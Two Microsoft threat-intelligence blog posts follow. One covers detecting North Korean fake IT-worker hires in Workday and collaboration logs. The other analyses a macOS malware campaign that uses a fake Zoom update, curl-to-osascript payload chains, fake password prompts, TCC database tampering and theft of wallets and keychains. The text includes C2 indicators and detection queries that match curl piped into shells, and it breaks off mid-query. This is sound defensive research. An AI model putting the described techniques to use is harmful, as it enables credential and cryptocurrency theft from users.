The shift to remote and hybrid work since the pandemic expanded global hiring and accelerated digital onboarding, increasing reliance on online identity verification and remote access. Threat actors such as Jasper Sleet, a North Korea-aligned threat actor, exploit this model by posing as legitimate hires using stolen or fabricated identities and AI-assisted deception to gain trusted access, generate revenue, and in some cases enable data theft, extortion, or follow-on compromise.

In the initial job-discovery phase, these fraudulent applicants posing as remote IT workers systematically survey organization career sites and external hiring portals to identify active technical roles and recruitment workflows. A previously published Microsoft Threat Intelligence blog highlights how these actors use generative AI at scale to analyze job postings and extract role‑specific language, required skills, certifications, and tooling expectations. They then use those insights to construct tailored fake digital personas and submit highly convincing job applications, increasing their likelihood of passing screening and entering legitimate hiring pipelines, and even onboarding once hired into the targeted roles successfully.

Organizations using common and widely adopted human resources (HR) software as a service (SaaS) platforms like Workday often expose their job postings through external career sites for applicants to submit job applications. These job listing sites are often targeted by this threat actor to find open job roles. While this activity might be hard to detect from usual job hunting behavior, knowing the threat actor’s interests and objectives to infiltrate into the target organization might present an opportunity for defenders to look for anomalous patterns in a hiring candidate’s behaviors by leveraging the access to the right telemetry and available threat actor intelligence being published.

While these activities could happen on any HR SaaS platform, this blog focuses on Workday as an example due to its widespread adoption and rich event logs, which are useful for hunting and detection, that are available to customers. The discussion highlights how customers using Microsoft Defender for Cloud Apps can monitor and detect fraudulent remote IT worker activity in pre-recruitment and post-recruitment phases, offering guidance on threat hunting and relevant threat detection strategies to help security and HR teams surface suspicious candidates early and detect risky onboarding activity after hire.

Attack chain overview

In the observed campaigns, the threat actors leverage routine HR workflows like external-facing career sites with open job postings to help with their job search and application process. Once they’re successfully contacted, interviewed, and hired, they complete typical new-hire onboarding formalities like setting up payroll accounts, which are also through the HR SaaS platform like Workday.

Activities in pre-recruitment phase

In the pre-recruitment phase, Microsoft has observed Jasper Sleet accessing Workday Recruiting Web Service endpoints exposed through external career sites from known actor infrastructure and email accounts, indicating a discovery phase of open roles and recruitment workflows.

Workday lets organizations use internal, non-public APIs such as Recruiting Web Service to allow programmatic access to apply for jobs in these organizations. These APIs are used to connect to external career sites involved in talent management and applicant tracking systems and allow applicants to browse and apply for open job roles. To access these APIs, an organization has to allow setting up of OAuth clients and associated OAuth tokens, and expose the APIs so that the organization’s external career sites can use them.

Microsoft has observed API call events coming from known Jasper Sleet infrastructure in Workday telemetry to hrrecruiting/* API endpoints. These events access information about job postings, applications, and related questionnaires, and to submit job applications and questionnaires.

Some common API calls being made by the threat actor’s activity when using the Workday portal include the following:

• hrrecruiting/accounts/*
• hrrecruiting/jobApplicationPackages/*
• hrrecruiting/validateJobApplication/*
• hrrecruiting/resumes/*

It’s important to note here that these API calls could also be made by legitimate job applicants. However, Microsoft has observed the Jasper Sleet threat actor using multiple external accounts suspiciously to access the same set of API calls in a consistent, repeating pattern, as shown in Figure 2, indicating a possible job discovery phase activity on open job roles and following up on job applications submitted. This anomaly sets the threat actor behavior apart from legitimate job applicants.

Defender for Cloud Apps’ Workday connector enables organizations to view and track API activity to their /hrrecruiting endpoints. The connector also lets them identify external accounts and their corresponding infrastructure metadata. Organizations can match this information against any available threat intelligence feeds on Jasper Sleet so they can identify fraudulent applications early in the recruiting process.

Activities in recruiting phase

In the recruiting phase, signals outside of Workday could help with investigation of threat actor behavior. The threat actor communicates with the target organization’s hiring team using emails and meeting conferencing platforms like Microsoft Teams, Zoom, or Cisco Webex for scheduling interviews. Using advanced hunting tables in Microsoft Defender, organizations can track suspicious communications (for example, email and Teams messages with external accounts originating from suspicious IP addresses or email addresses that could possibly be associated with the threat actor) and raise a red flag early in the hiring process. Additionally, organizations that use Zoom or Cisco Webex must leverage Defender for Cloud Apps’ Zoom or Cisco Webex connectors to detect malicious external accounts in the interviewing process.

Organizations can also leverage Defender for Cloud Apps’ DocuSign connector, which enables them to monitor activity related to hiring documentation, like offer letter signing from suspicious external sources.

Activities in post-recruitment phase

When Jasper Sleet is hired for a role in the organization, a legitimate account is created and assigned to them as part of the onboarding process. In organizations that use HR workflows in Workday for onboarding new hires, we’ve observed sign-ins to the newly created Workday profile and setting up of payroll details originating from known Jasper Sleet infrastructure.

The threat actor now has legitimate access to organization data, and they can access internal SaaS applications like Teams, SharePoint, OneDrive, and Exchange Online. Hence, it’s important to investigate any alerts associated with new hire accounts, especially alerts that are related to access to organization data from different locations and anonymous proxies performing search and downloads on Microsoft 365 suite or other third-party SaaS applications. Microsoft has observed a spike in impossible travel alerts for such new hires, indicating suspicious remote IT worker behavior in the initial months of onboarding.

Mitigation and protection guidance

Microsoft recommends leveraging access to telemetry coming from multiple data sources and monitoring behavioral anomalies in hiring candidates as part of background verification in HR recruitment processes. Organizations can also leverage threat intelligence as an aid, when available, to strengthen confidence in these anomalies.

These recommendations draw from established Defender blog guidance patterns and align with protections offered across Microsoft Defender XDR. 

Organizations can follow these recommendations to mitigate threats associated with this threat actor:      

Enable connectors in Microsoft Defender for Cloud Apps to gain visibility and track activity from external user accounts associated with fraudulent candidates. Investigate events of both external users and newly hired internal users originating from malicious infrastructure. For more information, see the following articles in Microsoft Learn:

• How Defender for Cloud Apps helps protect your Workday environment
• How Defender for Cloud Apps helps protect your DocuSign environment
• How Defender for Cloud Apps helps protect your Cisco Webex environment
• Connect Zoom to Microsoft Defender for Cloud Apps (Preview)

Educate users on social engineering. Train employees to recognize suspicious behaviors during hiring process and in new hires. For more information on the threat actor behavior, read this blog: Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Jasper Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following queries to find related activity to any suspicious indicators in their networks:

Access to Workday Recruiting Web Service API by external users

let api_endpoint_regex = 'hrrecruiting/*';
CloudAppEvents
| where Application == 'Workday'
| where IsExternalUser
| where ActionType matches regex api_endpoint_regex
| where IPAddress in (<​suspiciousips>) or AccountId in (<​suspicious_emailids>);
| summarize make_set(ActionType) by AccountId, IPAddress, bin(Timestamp, 1d)

Emails and Teams communications related to interviews

//Email communications

EmailEvents 
| where SenderMailFromAddress == "<​suspicious_emailids>" or RecipientEmailAddress == "<​suspicious_emailids>"
| where Subject has "Interview"
| project Timestamp, SenderMailFromAddress, SenderDisplayName, SenderIPv4, SenderIPv6, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation

EmailEvents 
| where SenderIPv4 == "<​suspiciousIPs>" or SenderIPv6 == "<​ suspiciousIPs>"
| where Subject has "Interview"
| project Timestamp, SenderMailFromAddress, SenderDisplayName, SenderIPv4, SenderIPv6, RecipientEmailAddress, Subject, DeliveryAction, DeliveryLocation

//Microsoft Teams communications

CloudAppEvents
| where Application == "Microsoft Teams"
| where IsExternalUser
| where AccountId == "<​suspicious_emailids>" or AccountDisplayName == "<​suspicious_emailids>"
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

CloudAppEvents
| where Application == "Microsoft Teams"
| where IsExternalUser
| where IPAddress == "<​suspiciousIPs​>" 
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

//Zoom or Cisco Webex communication events after enabling the Microsoft Defender for Cloud apps connectors

CloudAppEvents
| where Application == "Zoom"
| where IsExternalUser
| where IPAddress == "<​suspiciousIP​s>" 
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

CloudAppEvents
| where Application == "Cisco Webex"
| where IsExternalUser
| where IPAddress == "<​suspiciousIPs​>"
| summarize make_set(ActionType) by IPAddress, AccountId, bin(Timestamp, 1d)

Hiring phase involving accessing and signing of agreements through DocuSign

CloudAppEvents
| where Application == "DocuSign"
| where IsExternalUser
| where ActionType == "ENVELOPE SIGNED"
| where IPAddress in ("<​suspiciousIPs>") or AccountId == "<​suspicious_emailids>"

New hire onboarding and payroll activities originating from known Jasper Sleet infrastructure

CloudAppEvents
| where Application == "Workday"
| where AccountId == "<​NewHireWorkdayId>"
| where ActionType has_any ("Add", "Change", "Assign", "Create", "Modify") and ActionType has_any ("Account", "Bank", "Payment", "Tax")
| where IPAddress in ("<​suspiciousIPs>")
| summarize make_set(ActionType) by IPAddress, bin(Timestamp, 1d)

References

• Jasper Sleet: North Korean remote IT workers’ evolving tactics to infiltrate organizations | Microsoft Security Blog
• AI as tradecraft: How threat actors operationalize AI | Microsoft Security Blog

This research is provided by Microsoft Defender Security Research with contributions from  members of Microsoft Threat Intelligence.

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The post Detection strategies across cloud and identities against infiltrating IT workers appeared first on Microsoft Security Blog.

Executive summary

Microsoft Threat Intelligence uncovered a macOS‑focused cyber campaign by the North Korean threat actor Sapphire Sleet that relies on social engineering rather than software vulnerabilities. By impersonating a legitimate software update, threat actors tricked users into manually running malicious files, allowing them to steal passwords, cryptocurrency assets, and personal data while avoiding built‑in macOS security checks. This activity highlights how convincing user prompts and trusted system tools can be abused, and why awareness and layered security defenses remain critical.

Microsoft Threat Intelligence identified a campaign by North Korean state actor Sapphire Sleet demonstrating new combinations of macOS-focused execution patterns and techniques, enabling the threat actor to compromise systems through social engineering rather than software exploitation. In this campaign, Sapphire Sleet takes advantage of user‑initiated execution to establish persistence, harvest credentials, and exfiltrate sensitive data while operating outside traditional macOS security enforcement boundaries. While the techniques themselves are not novel, this analysis highlights execution patterns and combinations that Microsoft has not previously observed for this threat actor, including how Sapphire Sleet orchestrates these techniques together and uses AppleScript as a dedicated, late‑stage credential‑harvesting component integrated with decoy update workflows.

After discovering the threat, Microsoft shared details of this activity with Apple as part of our responsible disclosure process. Apple has since implemented updates to help detect and block infrastructure and malware associated with this campaign. We thank the Apple security team for their collaboration in addressing this activity and encourage macOS users to keep their devices up to date with the latest security protections.

This activity demonstrates how threat actors continue to rely on user interaction and trusted system utilities to bypass macOS platform security protections, rather than exploiting traditional software vulnerabilities. By persuading users to manually execute AppleScript or Terminal‑based commands, Sapphire Sleet shifts execution into a user‑initiated context, allowing the activity to proceed outside of macOS protections such as Transparency, Consent, and Control (TCC), Gatekeeper, quarantine enforcement, and notarization checks. Sapphire Sleet achieves a highly reliable infection chain that lowers operational friction and increases the likelihood of successful compromise—posing an elevated risk to organizations and individuals involved in cryptocurrency, digital assets, finance, and similar high‑value targets that Sapphire Sleet is known to target.

In this blog, we examine the macOS‑specific attack chain observed in recent Sapphire Sleet intrusions, from initial access using malicious .scpt files through multi-stage payload delivery, credential harvesting using fake system dialogs, manipulation of the macOS TCC database, persistence using launch daemons, and large-scale data exfiltration. We also provide actionable guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help defenders identify similar threats and strengthen macOS security posture.

Sapphire Sleet’s campaign lifecycle

Initial access and social engineering

Sapphire Sleet is a North Korean state actor active since at least March 2020 that primarily targets the finance sector, including cryptocurrency, venture capital, and blockchain organizations. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet operates a well‑documented social engineering playbook in which the threat actor creates fake recruiter profiles on social media and professional networking platforms, engages targets in conversations about job opportunities, schedules a technical interview, and directs targets to install malicious software, which is typically disguised as a video conferencing tool or software developer kit (SDK) update.

In this observed activity, the target was directed to download a file called Zoom SDK Update.scpt—a compiled AppleScript that opens in macOS Script Editor by default. Script Editor is a trusted first-party Apple application capable of executing arbitrary shell commands using the do shell script AppleScript command.

Lure file and Script Editor execution

The malicious Zoom SDK Update.scpt file is crafted to appear as a legitimate Zoom SDK update when opened in the macOS Script Editor app, beginning with a large decoy comment block that mimics benign upgrade instructions and gives the impression of a routine software update. To conceal its true behavior, the script inserts thousands of blank lines immediately after this visible content, pushing the malicious logic far below the scrollable view of the Script Editor window and reducing the likelihood that a user will notice it.

Hidden beneath this decoy, the script first launches a harmless looking command that invokes the legitimate macOS softwareupdate binary with an invalid parameter, an action that performs no real update but launches a trusted Apple‑signed process to reinforce the appearance of legitimacy. Following this, the script executes its malicious payload by using curl to retrieve threat actor‑controlled content and immediately passes the returned data to osascript for execution using the run script result instruction. Because the content fetched by curl is itself a new AppleScript, it is launched directly within the Script Editor context, initiating a payload delivery in which additional stages are dynamically downloaded and executed.

Execution and payload delivery

Cascading curl-to-osascript execution

When the user opens the Zoom SDK Update.scpt file, macOS launches the file in Script Editor, allowing Sapphire Sleet to transition from a single lure file to a multi-stage, dynamically fetched payload chain. From this single process, the entire attack unfolds through a cascading chain of curl commands, each fetching and executing progressively more complex AppleScript payloads. Each stage uses a distinct user-agent string as a campaign tracking identifier.

The main payload fetched by the mac-cur1 user agent is the attack orchestrator. Once executed within the Script Editor, it performs immediate reconnaissance, then kicks off parallel operations using additional curl commands with different user-agent strings.

Note the URL path difference: mac-cur1 through mac-cur3 fetch from /version/ (AppleScript payloads piped directly to osascript for execution), while mac-cur4 and mac-cur5 fetch from /status/ (ZIP archives containing compiled macOS .app bundles).

The following table summarizes the curl chain used in this campaign.

Reconnaissance and C2 registration

After execution, the malware next identifies and registers the compromised device with Sapphire Sleet infrastructure. The malware starts by collecting basic system details such as the current user, host name, system time, and operating system install date. This information is used to uniquely identify the compromised device and track subsequent activity.

The malware then registers the compromised system with its command‑and‑control (C2) infrastructure. The mid value represents the device’s universally unique identifier (UUID), the did serves as a campaign‑level tracking identifier, and the user field combines the system host name with the device serial number to uniquely label the targeted user.

Host monitoring component: com.apple.cli

The first binary deployed is a host monitoring component called com.apple.cli—a ~5 MB Mach-O binary disguised with an Apple-style naming convention.

The mac-cur1 payload spawns an osascript that downloads and launches com.apple.cli:

The host monitoring component repeatedly executes a series of system commands to collect environment and runtime information, including the macOS version (sw_vers), the current system time (date -u), and the underlying hardware model (sysctl hw.model). It then runs ps aux in a tight loop to capture a full, real‑time list of running processes.

During execution, com.apple.cli performs host reconnaissance while maintaining repeated outbound connectivity to the threat actor‑controlled C2 endpoint 83.136.208[.]246:6783. The observed sequencing of reconnaissance activity and network communication is consistent with staging for later operational activity, including privilege escalation, and exfiltration.

In parallel with deploying com.apple.cli, the mac-cur1 orchestrator also deploys a second component, the services backdoor, as part of the same execution flow; its role in persistence and follow‑on activity is described later in this blog.

Credential access

Credential harvester: systemupdate.app

After performing reconnaissance, the mac-cur1 orchestrator begins parallel operations. During the mac‑cur2 stage of execution (independent from the mac-cur1 stage), Sapphire Sleet delivers an AppleScript payload that is executed through osascript. This stage is responsible for deploying the credential harvesting component of the attack.

Before proceeding, the script checks for the presence of a file named .zoom.log on the system. This file acts as an infection marker, allowing Sapphire Sleet to determine whether the device has already been compromised. If the marker exists, deployment is skipped to avoid redundant execution across sessions.

If the infection marker is not found, the script downloads a compressed archive through the mac-cur4 user agent that contains a malicious macOS application named (systemupdate.app), which masquerades as the legitimate system update utility by the same name. The archive is extracted to a temporary location, and the application is launched immediately.

When systemupdate.app launches, the user is presented with a native macOS password dialog that is visually indistinguishable from a legitimate system prompt. The dialog claims that the user’s password is required to complete a software update, prompting the user to enter their credentials.

After the user enters their password, the malware performs two sequential actions to ensure the credential is usable and immediately captured. First, the binary validates the entered password against the local macOS authentication database using directory services, confirming that the credential is correct and not mistyped. Once validation succeeds, the verified password is immediately exfiltrated to threat actor‑controlled infrastructure using the Telegram Bot API, delivering the stolen credential directly to Sapphire Sleet.

Decoy completion prompt: softwareupdate.app

After credential harvesting is completed using systemupdate.app, Sapphire Sleet deploys a second malicious application named softwareupdate.app, whose sole purpose is to reinforce the illusion of a legitimate update workflow. This application is delivered during a later stage of the attack using the mac‑cur5 user‑agent. Unlike systemupdate.app, softwareupdate.app does not attempt to collect credentials. Instead, it displays a convincing “system update complete” dialog to the user, signaling that the supposed Zoom SDK update has finished successfully. This final step closes the social engineering loop: the user initiated a Zoom‑themed update, was prompted to enter their password, and is now reassured that the process completed as expected, reducing the likelihood of suspicion or further investigation.

Persistence

Primary backdoor and persistence installer: services binary

The services backdoor is a key operational component in this attack, acting as the primary backdoor and persistence installer. It provides an interactive command execution channel, establishes persistence using a launch daemon, and deploys two additional backdoors. The services backdoor is deployed through a dedicated AppleScript executed as part of the initial mac‑cur1 payload that also deployed com.apple.cli, although the additional backdoors deployed by services are executed at a later stage.

During deployment, the services backdoor binary is first downloaded using a hidden file name (.services) to reduce visibility, then copied to its final location before the temporary file is removed. As part of installation, the malware creates a file named auth.db under ~/Library/Application Support/Authorization/, which stores the path to the deployed services backdoor and serves as a persistent installation marker. Any execution or runtime errors encountered during this process are written to /tmp/lg4err, leaving behind an additional forensic artifact that can aid post‑compromise investigation.

Unlike com.apple.cli, the services backdoor uses interactive zsh shells (/bin/zsh -i) to execute privileged operations. The -i flag creates an interactive terminal context, which is required for sudo commands that expect interactive input.

Additional backdoors: icloudz and com.google.chromes.updaters

Of the additional backdoors deployed by services, the icloudz backdoor is a renamed copy of the previously deployed services backdoor and shares the same SHA‑256 hash, indicating identical underlying code. Despite this, it is executed using a different and more evasive technique. Although icloudz shares the same binary as .services, it operates as a reflective code loader—it uses the macOS NSCreateObjectFileImageFromMemory API to load additional payloads received from its C2 infrastructure directly into memory, rather than writing them to disk and executing them conventionally.

The icloudz backdoor is stored at ~/Library/Application Support/iCloud/icloudz, a location and naming choice intended to resemble legitimate iCloud‑related artifacts. Once loaded into memory, two distinct execution waves are observed. Each wave independently initializes a consistent sequence of system commands: existing caffeinate processes are stopped, caffeinate is relaunched using nohup to prevent the system from sleeping, basic system information is collected using sw_vers and sysctl -n hw.model, and an interactive /bin/zsh -i shell is spawned. This repeated initialization suggests that the component is designed to re‑establish execution context reliably across runs.

From within the interactive zsh shell, icloudz deploys an additional (tertiary) backdoor, com.google.chromes.updaters, to disk at ~/Library/Google/com.google.chromes.updaters. The selected directory and file name closely resemble legitimate Google application data, helping the file blend into the user’s Home directory and reducing the likelihood of casual inspection. File permissions are adjusted; ownership is set to allow execution with elevated privileges, and the com.google.chromes.updaters binary is launched using sudo.

To ensure continued execution across reboots, a launch daemon configuration file named com.google.webkit.service.plist is installed under /Library/LaunchDaemons. This configuration causes icloudz to launch automatically at system startup, even if no user is signed in. The naming convention deliberately mimics legitimate Apple and Google system services, further reducing the chance of detection.

The com.google.chromes.updaters backdoor is the final and largest component deployed in this attack chain, with a size of approximately 7.2 MB. Once running, it establishes outbound communication with threat actor‑controlled infrastructure, connecting to the domain check02id[.]com over port 5202. The process then enters a precise 60‑second beaconing loop. During each cycle, it executes minimal commands such as whoami to confirm the execution context and sw_vers -productVersion to report the operating system version. This lightweight heartbeat confirms the process remains active, is running with elevated privileges, and is ready to receive further instructions.

Privilege escalation

TCC bypass: Granting AppleEvents permissions

Before large‑scale data access and exfiltration can proceed, Sapphire Sleet must bypass macOS TCC protections. TCC enforces user consent for sensitive inter‑process interactions, including AppleEvents, the mechanism required for osascript to communicate with Finder and perform file-level operations. The mac-cur3 stage silently grants itself these permissions by directly manipulating the user-level TCC database through the following sequence.

The user-level TCC database (~/Library/Application Support/com.apple.TCC/TCC.db) is itself TCC-protected—processes without Full Disk Access (FDA) cannot read or modify it. Sapphire Sleet circumvents this by directing Finder, which holds FDA by default on macOS,  to rename the com.apple.TCC folder. Once renamed, the TCC database file can be copied to a staging location by a process without FDA.

Sapphire Sleet then uses sqlite3 to inject a new entry into the database’s access table. This entry grants /usr/bin/osascript permission to send AppleEvents to com.apple.finder and includes valid code-signing requirement (csreq) blobs for both binaries, binding the grant to Apple-signed executables. The authorization value is set to allowed (auth_value=2) with a user-set reason (auth_reason=3), ensuring no user prompt is triggered. The modified database is then copied back into the renamed folder, and Finder restores the folder to its original name. Staging files are deleted to reduce forensic traces.

Collection and exfiltration

With TCC bypassed, credentials stolen, and backdoors deployed, Sapphire Sleet launches the next phase of attack: a 575-line AppleScript payload that systematically collects, stages, compresses, and exfiltrates seven categories of data.

Exfiltration architecture

Every upload follows a consistent pattern and is executed using nohup, which allows the command to continue running in the background even if the initiating process or Terminal session exits. This ensures that data exfiltration can complete reliably without requiring the threat actor to maintain an active session on the system.

The auth header provides the upload authorization token, and the mid header ties the upload to the compromised device’s UUID.

Data collected during exfiltration

• Host and system reconnaissance: Before bulk data collection begins, the script records basic system identity and hardware information. This includes the current username, system host name, macOS version, and CPU model. These values are appended to a per‑host log file and provide Sapphire Sleet with environmental context, hardware fingerprinting, and confirmation of the target system’s characteristics. This reconnaissance data is later uploaded to track progress and correlate subsequent exfiltration stages to a specific device.
• Installed applications and runtime verification: The script enumerates installed applications and shared directories to build an inventory of the system’s software environment. It also captures a live process listing filtered for threat actor‑deployed components, allowing Sapphire Sleet to verify that earlier payloads are still running as expected. These checks help confirm successful execution and persistence before proceeding further.
• Messaging session data (Telegram): Telegram Desktop session data is collected by copying the application’s data directories, including cryptographic key material and session mapping files. These artifacts are sufficient to recreate the user’s Telegram session on another system without requiring reauthentication. A second collection pass targets the Telegram App Group container to capture the complete local data set associated with the application.
• Browser data and extension storage: For Chromium‑based browsers, including Chrome, Brave, and Arc, the script copies browser profiles and associated databases. This includes saved credentials, cookies, autofill data, browsing history, bookmarks, and extension‑specific storage. Particular focus is placed on IndexedDB entries associated with cryptocurrency wallet extensions, where wallet keys and transaction data are stored. Only IndexedDB entries matching a targeted set of wallet extension identifiers are collected, reflecting a deliberate and selective approach.
• macOS keychain: The user’s sign-in keychain database is bundled alongside browser data. Although the keychain is encrypted, Sapphire Sleet has already captured the user’s password earlier in the attack chain, enabling offline decryption of stored secrets once exfiltrated.
• Cryptocurrency desktop wallets: The script copies the full application support directories for popular cryptocurrency desktop wallets, including Ledger Live and Exodus. These directories contain wallet configuration files and key material required to access stored cryptocurrency assets, making them high‑value targets for exfiltration.
• SSH keys and shell history: SSH key directories and shell history files are collected to enable potential lateral movement and intelligence gathering. SSH keys may provide access to additional systems, while shell history can reveal infrastructure details, previously accessed hosts, and operational habits of the targeted user.
• Apple Notes: The Apple Notes database is copied from its application container and staged for upload. Notes frequently contain sensitive information such as passwords, internal documentation, infrastructure details, or meeting notes, making them a valuable secondary data source.
• System logs and failed access attempts: System log files are uploaded directly without compression. These logs provide additional hardware and execution context and include progress markers that indicate which exfiltration stages have completed. Failed collection attempts—such as access to password manager containers that are not present on the system—are also recorded and uploaded, allowing Sapphire Sleet to understand which targets were unavailable on the compromised host.

Exfiltration summary

All uploads use the upload authorization token fwyan48umt1vimwqcqvhdd9u72a7qysi and the machine identifier 82cf5d92-87b5-4144-9a4e-6b58b714d599.

Defending against Sapphire Sleet intrusion activity

As part of a coordinated response to this activity, Apple has implemented platform-level protections to help detect and block infrastructure and malware associated with this campaign. Apple has deployed Apple Safe Browsing protections in Safari to detect and block malicious infrastructure associated with this campaign. Users browsing with Safari benefit from these protections by default. Apple has also deployed XProtect signatures to detect and block the malware families associated with this campaign—macOS devices receive these signature updates automatically.

Microsoft recommends the following mitigation steps to defend against this activity and reduce the impact of this threat:

• Educate users about social engineering threats originating from social media and external platforms, particularly unsolicited outreach requesting software downloads, virtual meeting tool installations, or execution of terminal commands. Users should never run scripts or commands shared through messages, calls, or chats without prior approval from their IT or security teams.
• Block or restrict the execution of .scpt (compiled AppleScript) files and unsigned Mach-O binaries downloaded from the internet. Where feasible, enforce policies that prevent osascript from executing scripts sourced from external locations.
• Always inspect and verify files downloaded from external sources, including compiled AppleScript (.scpt) files. These files can execute arbitrary shell commands via macOS Script Editor—a trusted first-party Apple application—making them an effective and stealthy initial access vector.
• Limit or audit the use of curl piped to interpreters (such as curl | osascript, curl | sh, curl | bash). Social engineering campaigns by Sapphire Sleet rely on cascading curl-to-interpreter chains to avoid writing payloads to disk. Organizations should monitor for and restrict piped execution patterns originating from non-standard user-agent strings.
• Exercise caution when copying and pasting sensitive data such as wallet addresses or credentials from the clipboard. Always verify that the pasted content matches the intended source to avoid falling victim to clipboard hijacking or data tampering attacks.
• Monitor for unauthorized modifications to the macOS TCC database. This campaign manipulates TCC.db to grant AppleEvents permissions to osascript without user consent—a prerequisite for the large-scale data exfiltration phase. Look for processes copying, modifying, or overwriting ~/Library/Application Support/com.apple.TCC/TCC.db.
• Audit LaunchDaemon and LaunchAgent installations. This campaign installs a persistent launch daemon (com.google.webkit.service.plist) that masquerades as a legitimate Google or Apple service. Monitor /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for unexpected plist files, particularly those with com.google.* or com.apple.* naming conventions not belonging to genuine vendor software.
• Protect cryptocurrency wallets and browser credential stores. This campaign targets nine specific crypto wallet extensions (Sui, Phantom, TronLink, Coinbase, OKX, Solflare, Rabby, Backpack) plus Bitwarden, and exfiltrates browser sign-in data, cookies, and keychain databases. Organizations handling digital assets should enforce hardware wallet policies and rotate browser-stored credentials regularly.
• Encourage users to use web browsers that support Microsoft Defender SmartScreen like Microsoft Edge—available on macOS and various platforms—which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.

Microsoft Defender for Endpoint customers can also apply the following mitigations to reduce the environmental attack surface and mitigate the impact of this threat and its payloads:

• Use Microsoft Defender for Endpoint on Mac, which detects, stops, and quarantines the malware discussed in this blog.
• Turn on cloud-delivered protection and automatic sample submission on Microsoft Defender Antivirus. These capabilities use artificial intelligence and machine learning to quickly identify and stop new and unknown threats.
• Enable potentially unwanted application (PUA) protection in block mode to automatically quarantine PUAs like adware. PUA blocking takes effect on endpoint clients after the next signature update or computer restart.
• Turn on network protection to block connections to malicious domains and IP addresses.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Sapphire Sleet

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Suspicious osascript execution with curl piping

Search for curl commands piping output directly to osascript, a core technique in this Sapphire Sleet campaign’s cascading payload delivery chain.

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "osascript" or InitiatingProcessFileName == "osascript"
 | where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("osascript", "| sh", "| bash")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessFileName

Suspicious curl activity with campaign user-agent strings

Search for curl commands using user-agent strings matching the Sapphire Sleet campaign tracking identifiers (mac-cur1 through mac-cur5, audio, beacon).

DeviceProcessEvents
 | where Timestamp > ago(30d)
 | where FileName == "curl" or ProcessCommandLine has "curl"
 | where ProcessCommandLine has_any ("mac-cur1", "mac-cur2", "mac-cur3", "mac-cur4", "mac-cur5", "-A audio", "-A beacon")
 | project Timestamp, DeviceId, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine

Detect connectivity with known C2 infrastructure

Search for network connections to the Sapphire Sleet C2 domains and IP addresses used in this campaign.

let c2_domains = dynamic(["uw04webzoom.us", "uw05webzoom.us", "uw03webzoom.us", "ur01webzoom.us", "uv01webzoom.us", "uv03webzoom.us", "uv04webzoom.us", "ux06webzoom.us", "check02id.com"]);
 let c2_ips = dynamic(["188.227.196.252", "83.136.208.246", "83.136.209.22", "83.136.208.48", "83.136.210.180", "104.145.210.107"]);
 DeviceNetworkEvents
 | where Timestamp > ago(30d)
 | where RemoteUrl has_any (c2_domains) or RemoteIP in (c2_ips)
 | project Timestamp, DeviceId, DeviceName, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine

TCC database manipulation detection

Search for processes that copy, modify, or overwrite the macOS TCC database, a key defense evasion technique used by this campaign to grant unauthorized AppleEvents permissions.

DeviceFileEvents
 | where Timestamp > ago(30d)
 | where FolderPath has "com.apple.TCC" and FileName == "TCC.db"
 | where ActionType in ("FileCreated", "FileModified", "FileRenamed")
 | project Timestamp, DeviceId, DeviceName, ActionType, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine

Suspicious LaunchDaemon creation masquerading as legitimate services

Search for LaunchDaemon plist files created in /Library/LaunchDaemons that masquerade as Google or Apple services, matching the persistence technique used by the services/icloudz backdoor.

DeviceFileEvents
